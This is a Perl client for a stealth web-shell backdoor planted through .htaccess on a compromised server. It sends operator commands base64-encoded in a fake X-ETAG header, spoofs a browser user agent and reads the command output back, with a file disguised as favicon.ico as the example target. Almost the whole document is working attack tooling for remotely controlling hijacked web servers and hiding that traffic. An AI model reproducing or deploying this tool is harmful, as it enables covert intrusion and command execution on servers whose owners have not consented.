Interface .htaccess hidden shell backdoor

#!/usr/bin/perl
# Interface for the mod_php htaccess stealth shell
# https://pastebin.com/raw/vVS0g1Uf

use warnings;
use strict;
use MIME::Base64;
use LWP::UserAgent;

&usage unless $ARGV [0];
my $url = $ARGV [0];
pop ( @ARGV); #keep readline happy
my $ua = LWP::UserAgent->new;
$ua ->agent( 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16' );

sub usage {
print "Usage: $0 url\nExample: $0 http://vuln.com/upload/
favicon.ico\n" ;
exit 2;
}

my $cmd = '' ;
print "Connecting to shell at $url - type 'exit' to exit" ;
until ( $cmd eq 'exit' ) {
print "\nshell> ";
$cmd = readline;
chomp $cmd ;
my $payload = 'AA' .encode_base64( $cmd );
my $response = $ua ->get( $url , 'X-ETAG' => $payload );
if ($response ->header( 'X-ETAG' )) {
print decode_base64( substr ($response ->header( 'X-ETAG' ),2));
} else {
print "Error! No payload in response!\n" ;
}
}